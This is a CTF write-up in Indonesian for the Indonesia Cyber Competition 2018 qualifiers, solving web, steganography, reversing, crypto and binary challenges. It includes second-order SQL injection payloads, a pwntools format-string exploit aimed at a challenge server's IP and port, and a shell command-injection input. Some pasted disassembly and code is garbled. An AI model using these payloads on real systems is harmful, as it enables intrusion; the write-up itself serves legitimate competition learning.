

# Indonesia Cyber Competition 2018

## CTF Write Up – Penyisihan

### Do not cheat

Pada soal ini diberikan sebuah halaman web dengan embedded JavaScript di dalamnya.

```
var canvas = document.getElementById("canvas"),
    ctx = canvas.getContext("2d"),
    canvas2 = document.getElementById("canvas2"),
    ctx2 = canvas2.getContext("2d"),
    cw = window.innerWidth,
    ch = window.innerHeight,
    charArr = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
    "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"],
    maxCharCount = 100,
    fallingCharArr = [],
    fontSize = 10,
    maxColumns = cw / fontSize;
canvas.width = canvas2.width = cw, canvas.height = canvas2.height = ch;
var keyCodes = [],
    secretstroke = "38,38,40,40,37,39,37,39,66,65";

function randomInt(t, n) {
    return Math.floor(Math.random() * (n - t) + t)
}

function randomFloat(t, n) {
    return Math.random() * (n - t) + t
}

function Point(t, n) {
    this.x = t, this.y = n
}

$(document).keydown(function(t) {
    keyCodes.push(t.keyCode), 0 <= keyCodes.toString().indexOf(secretstroke) &&
    ($(document).unbind("keydown", arguments.callee), $.post("flag.php", function(t)
    {
        alert(t)
    })))
}), Point.prototype.draw = function(t) {
    this.value = charArr[randomInt(0, charArr.length - 1)].toUpperCase(),
    this.speed = randomFloat(1, 5), ctx2.fillStyle = "rgba(255,255,255,0.8)",
```

```

ctx2.font = fontSize + "px san-serif", ctx2.fillText(this.value, this.x, this.y),
t.fillStyle = "#0F0", t.font = fontSize + "px san-serif", t.fillText(this.value,
this.x, this.y), this.y += this.speed, this.y > ch && (this.y = randomFloat(-100,
0), this.speed = randomFloat(2, 5))
};
for (var i = 0; i < maxColumns; i++) fallingCharArr.push(new Point(i * fontSize,
randomFloat(-500, 0)));
var update = function() {
    ctx.fillStyle = "rgba(0,0,0,0.05)", ctx.fillRect(0, 0, cw, ch),
    ctx2.clearRect(0, 0, cw, ch);
    for (var t = fallingCharArr.length; t--;) {
        fallingCharArr[t].draw(ctx);
        fallingCharArr[t]
    }
    requestAnimationFrame(update)
};
update();

```

Pada saat kita menekan tombol, maka tombol yang ditekan akan masuk ke array keyCodes. Kemudian, keseluruhan isi array keyCodes akan dibandingkan dengan isi array secretstroke. Dengan demikian kita dapat menekan tombol yang akan menghasilkan event seperti pada secretstroke. Setelah itu kita dapat mendapatkan flagnya pada alertbox.

Flag: IDCC{0n1Y\_th3\_we4K\_che4T}

## Pesanan kedua

Pada soal diberikan web application dengan fungsionalitas registrasi pengguna, pengecekan profil pengguna yang berisi kode pengguna serta tanggal pembuatan, serta pengubahan username pengguna.

Kode pada profil pengguna merupakan encoding Base64 dari sebuah angka. Angka tersebut merupakan representasi detik dari tanggal pembuatan pengguna.

Pada fungsi edit pengguna, ditemukan bahwa SQLi dapat dilakukan sehingga membuat halaman profil pengguna mengembalikan error. Berikut adalah masukkan yang diberikan pada fungsi edit pengguna: “#

Dengan mengganti “# menjadi “-- halaman profil kembali memberikan HTML. Hasil dari SQLi dapat dilihat dari komentar pada HTML yang diberikan oleh server.

Karena username tidak bisa menggunakan spasi, maka kita ganti spasi menjadi tab. Untuk mencari tahu engine yang digunakan, gunakan “ union select sqli\_version() kita dapat mengetahui bahwa engine yang digunakan adalah SQLite versi 3. Maka, kita dapat mengetahui table yang tertera dengan menggunakan “ union select name from sqlite\_master

Dari hasil query diatas ditemukan terdapat tabel `users_regizt`. Pada tabel tersebut terdapat username dengan tanggal pembuatan yang tidak seharusnya, yakni pada tanggal 1990-09-09 09:09:09. Base64 encode tanggal tersebut dalam representasi detik kemudian validasi untuk mendapatkan flag.

Flag: IDCC{n1c3\_one\_th1z\_iz\_Sec0nD\_0rdEr\_Sqli}

## Secret Message

Pada soal ini diberikan 2 buah file bernama stored.jpg dan password.jpg. Dengan menggunakan stegsolve kita dapat menemukan sebuah string hexadecimal yang merupakan representasi hexadecimal dari "L33tMeIn" (meski agak susah untuk dibaca).



Lalu dengan menggunakan steghide, kita dapat mengekstrak data yang terdapat pada stored.jpg yang berisi SuperBStr0ngP4ass

```
$ steghide --extract -sf stored.jpg -p L33tMeIn
wrote extracted data to "password.txt".
$ cat password.txt
SuperBStr0ngP4ass
```

Gunakan password tersebut pada password.jpg

```
$ steghide --extract -sf password.jpg -p SuperBStr0ngP4ass
```

---

```
wrote extracted data to "flag.txt".  
$ cat flag.txt  
IDCC{Ch4in1nG_5teg0_p4ssW0rD_}
```

---

Flag: IDCC{Ch4in1nG\_5teg0\_p4ssW0rD\_}

## MPPPsst

Pada soal ini diberikan sebuah gambar yang memiliki link ke sebuah pastebin. Pada pastebin tersebut berisi apa yang seperti output dari program steganography.

---

```
Doing it boss!  
Spreading level: 16286  
Header wrote  
File has been saved as: telordardarr.mp3  
Hiding process has finished successfully.  
Cleaning memory...
```

---

Namun setelah saya google masih tetap tidak menemukan apa alat yang digunakan. Lalu saya hanya melakukan pencarian tools stegano pada MP3. Pada saat saya menemukan AudioStego, saya menemukan string Doing it boss!. Ekstraksi menggunakan AudioStego menghasilkan flag.

Flag: IDCC{st3Gano\_s0und\_n\_h1d3}

## EzPz

Pada soal ini diberikan sebuah flag yang sudah diencode serta binary yang mengencode flag tersebut. Binary tersebut merupakan hasil kompilasi GHC. Namun, yang lebih menarik adalah program tersebut tidak menerima input (baik stdin maupun file). Saat dicoba dijalankan menggunakan ltrace, terlihat bahwa program tersebut menggunakan argv[0] sebagai inputnya.

Setelah dicoba-coba dengan beberapa input, dapat terlihat bahwa argv[0] diencode dengan menggunakan Base64, namun dengan pemetaan simbol yang berbeda. Karena itu, kita dapat mengembalikan flag semula dengan merekonstruksi mapping simbol.

Berikut script yang digunakan untuk rekonstruksi mapping simbol (beserta flagnya).

```
import itertools
import string
from pwn import *

def bit2chr(bits):
    l = 0
    for c in bits:
        l <= 1
        l += ord(c)-ord('0')
    return chr(l)

mapping = {}
for c in range(1,64):
    for i in range(4):
        bits = '01000000101000000101000001'
        this = '{0:08b}'.format(c)[-6:]
        bits = bits[:6*i] + this + bits[-(18-6*i):]
        if (len(bits) == 48):
            bits = bits[:24]
        assert(len(bits) == 24)
        arg0 = bit2chr(bits[0:8]) + bit2chr(bits[8:16]) + bit2chr(bits[16:24])
        fail = 0
        for ch in arg0:
            if ord(ch) == 0 or ord(ch) > 0x7f:
                fail = 1
        if fail:
            continue

        p = process([arg0], executable='./EzPz')
        resp = p.recvall().strip()[1:-1]

        if len(resp) > 0 and len(resp) <= 4:
            print(resp, i, bits)
            mapping[resp[i]] = '{0:08b}'.format(c)[-6:]

mapping['5'] = '111101'
flag = "c=/2HsfweAeTCz]!V@alV@pz9??$eYjQVz&ln<z5"

flag_6bits = ''.join([mapping[orig] for orig in flag])

ans = []
for i in range(len(flag_6bits)):
```

```

    chunk = flag_6bits[8*i:8*i+8]
    b = bit2chr(chunk)
    ans.append(b)
    print(''.join(ans))

print(''.join(ans))

```

Perlu diperhatikan bahwa `argv[0]` tidak dapat menerima charset dengan nilai `0x00` atau `> 0x7f`. Maka, untuk dapat merekonstruksi semuanya pemetaan simbol, kita perlu mengakalnya dengan menggunakan 3 byte `argv[0]`. Dengan demikian, apabila kita membutuhkan mapping yang akan menghasilkan karakter pada `argv[0]` di luar jangkauan, kita dapat mencoba posisi lainnya.

Flag: IDCC{h4sk3L1\_i5\_l4zY\_4nD\_Fun}

# BabyShark

Pada soal ini diberikan sebuah binary yang merupakan hasil kompilasi dari DLang. Menurut soal, flag tersebut terbentuk pada saat kompilasi. Maka seharusnya terdapat fungsi yang membentuk flag tersebut pada binary.

Karena binary tidak stripped, maka kita dapat mencari fungsi” yang memiliki nama babyshark dengan menggunakan radare2.

```
[0x0044a810]> is~babyshark
042 0x00000000 0x00400000 LOCAL FILE 0 babyshark.d
2295 0x000672dc 0x004672dc WEAK FUNC 202
_D9babyshark__T3encVAyaa9_3333333333333333ZQBeFNaNfQBhZQB1
2305 0x0005a7a8 0x0045a7a8 WEAK FUNC 202
_D9babyshark__T3encVAyaa6_373837383738ZqYFNaNfQBazQBe
2309 0x00057574 0x00457574 WEAK FUNC 202
_D9babyshark__T3encVAyaa6_313531353135ZqYFNaNfQBazQBe
2310 0x00068f8c 0x00468f8c WEAK FUNC 202
_D9babyshark__T3encVAyaa9_333639333639333639ZQBeFNaNfQBhZQB1
2315 0x0006232c 0x0046232c WEAK FUNC 202
_D9babyshark__T3encVAyaa9_323333323333323333ZQBeFNaNfQBhZQB1
2317 0x000657c4 0x004657c4 WEAK FUNC 202
_D9babyshark__T3encVAyaa9_323939323939323939ZQBeFNaNfQBhZQB1
2319 0x00057ca0 0x00457ca0 WEAK FUNC 202
_D9babyshark__T3encVAyaa6_323432343234ZqYFNaNfQBazQBe
```

Setelah melihat beberapa fungsi yang tertera, semua fungsi tersebut memiliki struktur yang sama. Salah satu fungsi memiliki hasil disassembly sebagai berikut

	0x00465890	55	push rbp	
	0x00465891	488bec	mov rbp, rsp	
	0x00465894	4881eca00000.	sub rsp, 0xa0	
	0x0046589b	48899d68ffff.	mov qword [local_98h], rbx	
	0x004658a2	48897df0	mov qword [local_10h], rdi	; arg1
	0x004658a6	488975f8	mov qword [local_8h], rsi	; arg2
	0x004658aa	e8b1f5feff	call	
sym._D3std4conv__T2toTiZ__TQjTmZQoFNaNfmZi				
	0x004658af	888570ffffff	mov byte [local_90h], al	
	0x004658b5	488d0d34db03.	lea rcx, obj._TMP0	; 0x4a33f0
	0x004658bc	31c0	xor eax, eax	
	0x004658be	48894580	mov qword [local_80h], rax	
	0x004658c2	48894d88	mov qword [local_78h], rcx	
	0x004658c6	488d1560ef03.	lea rdx, str.300300300	;
obj._TMP1182 ; 0x4a482d ; "300300300"				
	0x004658cd	be09000000	mov esi, 9	
	0x004658d2	488d7dc0	lea rdi, [local_40h]	
	0x004658d6	e81df6feff	call	
sym._D3std5range__T5cycleTAyaZQlFNaNbNiNfQpZSQBnQBm__T5CycleTQBjZQl				
	0x004658db	4889c3	mov rbx, rax	
	0x004658de	ff7318	push qword [rbx + 0x18]	
	0x004658e1	ff7310	push qword [rbx + 0x10]	
	0x004658e4	ff7308	push qword [rbx + 8]	
	0x004658e7	ff33	push qword [rbx]	
	0x004658e9	488b55f8	mov rdx, qword [local_8h]	
	0x004658ed	488b75f0	mov rsi, qword [local_10h]	
	0x004658f1	488d7d90	lea rdi, [local_70h]	
	0x004658f5	e87ef8feff	call	
sym._D3std5range__T3zipTSQtQr__T5CycleTAyaZQlTQhZQBeFNaNbNiNfQBlQzZSQCKQCj__T11Zip				
ShortestVEQDi8typecons__T4FlagVQCwa18_616c6c4b6				
	0x004658fa	4883c420	add rsp, 0x20	
	; CODE XREF from			
sym._D9babyspark__T3encVAyaa9_33303033303033303030ZQBeFNaNfQBhZQBl (0x465947)				
	.->	0x004658fe	488d7d90	lea rdi, [local_70h]
	:	0x00465902	e829f9feff	call fcn.00455230
	:	0x00465907	3401	xor al, 1
	,==<	0x00465909	743e	je 0x465949
	:	0x0046590b	488d7d90	lea rdi, [local_70h]
	:	0x0046590f	e8e0f9feff	call fcn.004552f4
	:	0x00465914	488945e8	mov qword [local_18h], rax
	:	0x00465918	488d45e8	lea rax, [local_18h]
	:	0x0046591c	488945e0	mov qword [local_20h], rax
	:	0x00465920	488b4de0	mov rcx, qword [local_20h]
	:	0x00465924	488d5104	lea rdx, [rcx + 4]
	:	0x00465928	8b30	mov esi, dword [rax]
	:	0x0046592a	3332	xor esi, dword [rdx]
	:	0x0046592c	0fb69d70ffff.	movzx ebx, byte [local_90h]
	:	0x00465933	33f3	xor esi, ebx
	:	0x00465935	488d7d80	lea rdi, [local_80h]



```

|      | : 0x00465939      e8f2010100      call sym._d_arrayappendcd
|      | : 0x0046593e      488d7d90      lea rdi, [local_70h]
|      | : 0x00465942      e809fafeff      call fcn.00455350
|      | `=< 0x00465947      ebb5          jmp 0x4658fe
|      | ; CODE XREF from
sym._D9babys shark__T3encVAyaa9_333030333030333030ZQBeFNfQBhZQB1 (0x465909)
|      | `--> 0x00465949      488b5588      mov rdx, qword [local_78h]
|      |      0x0046594d      488b4580      mov rax, qword [local_80h]
|      |      0x00465951      488b9d68ffff. mov rbx, qword [local_98h]
|      |      0x00465958      c9          leave
|      |      0x00465959      c3          ret
\

```

Terlihat bahwa fungsi tersebut melakukan xor pada suatu input. Setelah mencari cross reference dari fungsi" tersebut, ditemukan bahwa seluruh fungsi tersebut dipanggil oleh fungsi dengan simbol sym.\_D9babys shark7encryptFNfAyaZQe pada radare2 karena fungsi tersebut mengandung address 0x44b76a.

```

[0x0044a810]> axt @
sym._D9babys shark__T3encVAyaa9_33333333333333333333ZQBeFNfQBhZQB1
(nofunc) 0x44b76a [CALL] call
sym._D9babys shark__T3encVAyaa9_33333333333333333333ZQBeFNfQBhZQB1

```

Karena isi dari fungsi tersebut hanya memanggil fungsi" yang melakukan xor tadi, maka kita dapat memanggil fungsi itu lagi untuk mengembalikan flagnya. Kita dapat melakukan hal tersebut dengan mengubah address tujuan pada fungsi main.

Berikut adalah disassembly fungsi main.

```

0x0044bf30      55          push rbp
|      0x0044bf31      488bec      mov rbp, rsp
|      0x0044bf34      4883ec10    sub rsp, 0x10
|      0x0044bf38      488d0de37405. lea rcx,
str.Flagnya_sudah_terenkripsi_dengan_aplikasi_ini:      ; obj._TMP3 ; 0x4a3422 ;
"Flagnya sudah terenkripsi dengan aplikasi ini: "
|      0x0044bf3f      b82f000000 mov eax, 0x2f      ; '/' ; 47
|      0x0044bf44      4889c2      mov rdx, rax
|      0x0044bf47      488955f0    mov qword [local_10h], rdx
|      0x0044bf4b      48894df8    mov qword [local_8h], rcx
|      0x0044bf4f      64488b042500. mov rax, qword fs:[0]
|      0x0044bf58      480305396027. add rax, qword [0x006c1f98]
|      0x0044bf5f      488b5008    mov rdx, qword [rax + 8]      ;
[0x8:8]=-1 ; 8
|      0x0044bf63      488b38      mov rdi, qword [rax]
|      0x0044bf66      4889d6      mov rsi, rdx
|      0x0044bf69      e826ffffff call
sym._D9babys shark9hexencodeFAyaZQe ;[2]
|      0x0044bf6e      4889c7      mov rdi, rax
|      0x0044bf71      488b4df8    mov rcx, qword [local_8h]
|      0x0044bf75      4889d6      mov rsi, rdx
|      0x0044bf78      488b55f0    mov rdx, qword [local_10h]

```

	0x0044bf7c	e88b430200	call	
sym._D3std5stdio__T7writelnTAyaTQeZQqFNfQmQoZv ;[3]				
	0x0044bf81	488d15ca7405.	lea rdx,	
str.Pembuatannya_dilakukan_pada_waktu_kompilasi_:				; obj._TMP4 ; 0x4a3452 ;
"Pembuatannya dilakukan pada waktu kompilasi :)"				
	0x0044bf88	bf2e000000	mov edi, 0x2e	; '.' ; 46
	0x0044bf8d	4889d6	mov rsi, rdx	
	0x0044bf90	e85b480200	call	
sym._D3std5stdio__T7writelnTAyaZQnFNfQjZv ;[4]				
	0x0044bf95	488d15e57405.	lea rdx,	
str.Bisakah_kamu_mengembalikan_Flagnya				; obj._TMP5 ; 0x4a3481 ; "Bisakah
kamu mengembalikan Flagnya?"				
	0x0044bf9c	bf23000000	mov edi, 0x23	; '#' ; 35
	0x0044bfa1	4889d6	mov rsi, rdx	
	0x0044bfa4	e847480200	call	
sym._D3std5stdio__T7writelnTAyaZQnFNfQjZv ;[4]				
	0x0044bfa9	31c0	xor eax, eax	
	0x0044bfab	c9	leave	
	0x0044bfac	c3	ret	

Pada saat program baru saja memasuki fungsi sym.\_D9babys shark9hexencodeFAyaZQe, kita dapat mengubah nilai rip menjadi 0x44a908 (alamat sym.\_D9babys shark7encryptFNaNfAyaZQe). Setelah itu kita dapat menginspeksi memory yang ditunjuk oleh rdx untuk mendapatkan flagnya.

Flag: IDCC{m3ta\_pR0gramm1n9\_t3mpl4te\_i5\_g00d\_4\_u}

# Freedom

Pada soal ini diberikan sebuah file `image.img`. Dengan melihat hasil strings dari file tersebut, terlihat bahwa terdapat dua buah fungsi Lua.

[illegible][illegible]

```
loadstring;local llllllllllllllllll = {'\45','\45','\47','\47','\32','\68','\
101','\99','\111','\109','\112','\105','\108','\101','\100','\32','\67','\111','\
100','\101','\46','\32','\10','\114','\101','\113','\117','\105','\114','\101','\
32','\34','\110','\105','\120','\105','\111','\46','\102','\115','\34','\10','\
114','\101','\113','\117','\105','\114','\101','\32','\34','\105','\111','\34','\
10','\10','\32','\32','\32','\108','\111','\99','\97','\108','\32','\102','\61','\
105','\111','\46','\111','\112','\101','\110','\40','\34','\47','\114','\111','\
111','\116','\47','\110','\111','\116','\101','\115','\46','\116','\120','\116','\
34','\44','\34','\114','\34','\41','\10','\32','\32','\32','\105','\102','\32','\
102','\126','\61','\110','\105','\108','\32','\116','\104','\101','\110','\32','\
10','\32','\32','\32','\112','\114','\105','\110','\116','\40','\34','\73','\
68','\67','\67','\123','\79','\112','\101','\110','\87','\82','\84','\105','\
53','\57','\48','\48','\68','\33','\125','\34','\41','\10','\10','\32','\32','\
32','\101','\108','\115','\101','\32','\10','\32','\32','\32','\112','\114','\
105','\110','\116','\40','\34','\87','\101','\32','\97','\108','\108','\32','\
108','\105','\118','\101','\32','\101','\118','\101','\114','\121','\32','\100','\
97','\121','\32','\105','\110','\32','\118','\105','\114','\116','\117','\97','\
108','\32','\101','\110','\118','\105','\114','\111','\110','\109','\101','\
110','\116','\115','\44','\32','\100','\101','\102','\105','\110','\101','\100','\
32','\98','\121','\32','\111','\117','\114','\32','\105','\100','\101','\97','\
115','\46','\34','\41','\10','\10','\32','\32','\32','\101','\110','\100','\
10'},}lllllllllllllllll(lllllllllllllllll(lllllllllllllllll,IIIIIIIIllllllllllllllllllllll))
()
```

Kita dapat mengganti statement terakhir yang akan melakukan loadstring menjadi print. Apabila kita menjalankan kedua fungsi tersebut, maka kita akan mendapatkan script Lua lain. Fungsi Lua pertama akan menghasilkan script yang tidak memberikan informasi apa-apa. Sedangkan fungsi satunya akan menghasilkan script Lua yang melakukan print flag.

```
--// Decompiled Code.
function file_exists(name)
    require "nixio.fs"
    require "io"

    local f=io.open("/root/notes.txt","r")
    if f~=nil then
        print("flag")
    else
        print("We all live every day in virtual environments, defined by our ideas.")
    end

--// Decompiled Code.
require "nixio.fs"
require "io"

    local f=io.open("/root/notes.txt","r")
```

```
if f~=nil then
print("IDCC{OpenWRTi5900D!}")

else
print("We all live every day in virtual environments, defined by our ideas.")

end
```

Flag: IDCC{OpenWRTi5900D!}

Note: Sepertinya cara seharusnya meminta peserta melakukan mount image tersebut. Namun, demi keamanan (dan karena saya malas), saya tidak melakukan mount.

## DecryptME

Pada soal ini diberikan sebuah file algoritma enkripsi dalam Python serta hasil enkripsinya. Algoritma enkripsi menggunakan Vigenere Cipher hanya saja menggunakan operasi tambah bukan xor.

Untuk merecover kunci, kita dapat menggunakan knownplaintext yaitu IDCC{. Hasilnya merupakan rajara. Hmm, sepertinya kuncinya adalah raja, ra berikutnya merupakan pengulangan kunci. Dekripsi menggunakan kunci tersebut menghasilkan flag.

Berikut adalah script yang digunakan untuk pendekripsian

```
from base64 import *
kpt = 'SURDQ3'
cipher = open('./enkripsi', 'rb').read()

keys = []
for i,c in enumerate(kpt):
    keys.append( (cipher[i]-ord(c) + 127) % 127 )

print(keys)

plain = []
for i,c in enumerate(cipher):
    plain.append( ( c - keys[i % 4] + 127 ) % 127 )

print(b64decode(''.join([chr(c) for c in plain])))
```

Flag: IDCC{S1mpl3\_4nd\_stR4ight}

## OldCrypt

Pada soal ini diberikan kunci dan sebuah ciphertext. Pada kunci terdapat string 404 yang bisa dibuang. Terlihat bahwa kunci tersebut merupakan substitusi alfabet. Cukup ganti karakter pada posisi tertentu dengan karakter yang seharusnya untuk mendapatkan flagnya (pastikan case tetap terjaga).

Flag: IDCC{y0u\_Pwn3D\_m3\_n1Ce}

## Format Play

Pada soal diberikan sebuah binary yang menggunakan input pengguna sebagai format string. Selain itu, program akan memberikan flag apabila sebuah nilai global variable menjadi 0xBEEF. Maka, cukup tulis kedua byte tersebut menggunakan format string.

Berikut script yang digunakan untuk melakukan eksploitasi tersebut.

```
from pwn import *

p = remote('178.128.106.125', 13373)

p.sendline(pack(0x804a034) + pack(0x804a035) + '%{ }c'.format(0xEF-0x8) + '%7$hhn' + '%{ }c'.format(0x100+0xBE-0xEF) + '%8$hhn')

p.interactive()
```

Flag: IDCC{M4nipulat1n9\_F0rm4t\_for\_pR0f1T\_\$\$\$}

## Password Generation

Pada soal diberikan sebuah endpoint yang menerima input pengguna dan memberikan string random berdasarkan input tersebut. Apabila kita memberikan input karakter, maka dapat terlihat bahwa program akan menggunakan input dari pengguna sebagai panjang karakter string tersebut dengan menggunakan perintah fold. Karena input diparse oleh sebuah shell, maka kita dapat melakukan command injection.

Namun, beberapa karakter seperti spasi diblacklist. Selain itu terdapat limitasi karakter sebesar 8. Meskipun karakter spasi diblacklist, kita tetap dapat menggunakan tab sebagai pemisah argumen.

Input berikut dapat digunakan untuk mendapatkan flag: '`sh \*`'

Flag: IDCC{Br3ak\_Y0urZ\_LImIT}